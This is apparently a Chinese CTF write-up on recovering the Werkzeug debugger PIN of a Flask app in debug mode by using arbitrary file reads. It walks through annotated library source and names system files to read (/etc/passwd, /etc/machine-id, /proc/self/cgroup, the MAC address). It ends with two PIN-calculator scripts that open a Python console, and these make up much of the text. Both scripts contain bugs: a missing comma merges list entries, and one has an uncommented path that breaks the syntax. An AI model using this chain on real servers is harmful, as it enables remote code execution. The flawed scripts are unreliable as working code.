这是一段简单的 Flask 代码
from flask import Flask app = Flask(__name__) @app.route("/") def index(): return "Hello World" app.run(debug=True)
我们开启了调试模式,与此同时控制台输出
> python test.py * Serving Flask app 'test' * Debug mode: on WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on http://127.0.0.1:5000 Press CTRL+C to quit * Restarting with stat * Debugger is active! * Debugger PIN: XXX-XXX-XXX
但是我们还可以访问一个调试模式下的特殊路由,即使你没有设置过
填入上方控制台的 PIN 码即可执行 Python 命令
在计算 PIN 码之前,我们要知道,Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。
与 Python 版本无关!!!
werkzeug 低版本使用 MD5,高版本使用 SHA1,现在绝大多数都是高版本的利用
werkzeug1.0.x 低版本
werkzeug2.1.x 高版本
这里直接借用 Pysnow 的源码分析
# 前面导入库部分省略 # PIN有效时间,可以看到这里默认是一周时间 PIN_TIME = 60 * 60 * 24 * 7 def hash_pin(pin: str) -> str: return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] _machine_id: t.Optional[t.Union[str, bytes]] = None # 获取机器id def get_machine_id() -> t.Optional[t.Union[str, bytes]]: def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b"" # !!!!!!!! # 获取machine-id或/proc/sys/kernel/random/boot_id # machine-id其实是机器绑定的一种id # boot-id是操作系统的引导id # docker容器里面可能没有machine-id # 获取到其中一个值之后就break了,所以machine-id的优先级要高一些 for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: # 这里进行的是字符串拼接 linux += value break try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] # 获取docker的id # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8 # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面 except OSError: pass if linux: return linux # OS系统的 {} # 下面是windows的获取方法,由于使用得不多,可以先不管 if sys.platform == "win32": {} # 最终获取machine-id _machine_id = _generate() return _machine_id # 总结一下,这个machine_id靠三个文件里面的内容拼接而成 class _ConsoleFrame: def __init__(self, namespace: t.Dict[str, t.Any]): self.console = Console(namespace) self.id = 0 def get_pin_and_cookie_name( app: "WSGIApplication", ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]: pin = os.environ.get("WERKZEUG_DEBUG_PIN") # 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin rv = None num = None # Pin was explicitly disabled if pin == "off": return None, None # Pin was provided explicitly if pin is not None and pin.replace("-", "").isdigit(): # If there are separators in the pin, return it directly if "-" in pin: rv = pin else: num = pin # 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) username: t.Optional[str] try: # 获取username的值通过getpass.getuser() username = getpass.getuser() except (ImportError, KeyError): username = None mod = sys.modules.get(modname) # 此信息的存在只是为了使cookie在 # 计算机,而不是作为一个安全功能。 probably_public_bits = [ username, modname, getattr(app, "__name__", type(app).__name__), getattr(mod, "__file__", None), ] # 这里又多获取了两个值,appname和moddir # getattr(app, "__name__", type(app).__name__):appname,默认为Flask # getattr(mod, "__file__", None):moddir,可以根据报错路劲获取, # 这个信息是为了让攻击者更难 # 猜猜cookie的名字。它们不太可能被控制在任何地方 # 在未经身份验证的调试页面中。 private_bits = [str(uuid.getnode()), get_machine_id()] # 获取uuid和machine-id,通过uuid.getnode()获得 h = hashlib.sha1() # 使用sha1算法,这是python高版本和低版本算pin的主要区别 for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # 如果我们需要做一个大头针,我们就多放点盐,这样就不会 # 以相同的值结束并生成9位数字 if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num # 这就是主要的pin算法,脚本可以直接照抄这部分代码 return rv, cookie_name
生成条件
probably_public_bits
有如下四个变量:
username modname getattr(app, 'name', app.class.name) getattr(mod, 'file', None) ----------------------------------- username:通过/etc/passwd这个文件去猜 modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得
private_bits
有如下三个变量:
uuid machine-id ----------------------------------- uuid: 网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。 例:00:16:3e:03:8f:39 => 95529701177 也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16)) machine-id: machine-id是通过**三个文件**里面的内容经过处理后拼接起来 1. /etc/machine-id(一般仅非docker机有,截取全文) 2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文) 3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**) # 例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope # 则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面 文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。 文件3如果存在的话就截取,不存在的话就不用管 最后machine-id=(文件1或文件2)+文件3(存在的话)
之前做题的时候被别人博客关于 machine-id 的部分误导了,重要的部分我在上面都打上了星号,有些 docker 机器是存在 12 这两个文件的,例如某些 k8s 的 CTF 靶场
最后把上面的信息结合下,用下面两个脚本可以算出 PIN 值
低版本(werkzeug1.0.x)
import hashlib from itertools import chain probably_public_bits = [ 'root'#username,通过/etc/passwd 'flask.app',#modname,默认值 'Flask',# 默认值 '/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得 ] private_bits = [ '25214234362297', # mac十进制值 /sys/class/net/ens0/address '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # 低版本直接/etc/machine-id ] # 下面为源码里面抄的,不需要修改 h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
高版本(werkzeug>=2.0.x)
import hashlib from itertools import chain probably_public_bits = [ 'root'#/etc/passwd 'flask.app',#默认值 'Flask',#默认值 '/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到 ] private_bits = [ '2485377568585',/sys/class/net/eth0/address 十进制 '653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2' #看上面machine-id部分 ] # 下面为源码里面抄的,不需要修改 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
题目就不复现了,2023/7 月的 DAS,es_flask 就是简单的原型链污染,但是这个 flask 折磨了很久,没有吃透源码被博客坑惨了
只要有任意文件读 + Flask 的调试模式就可以做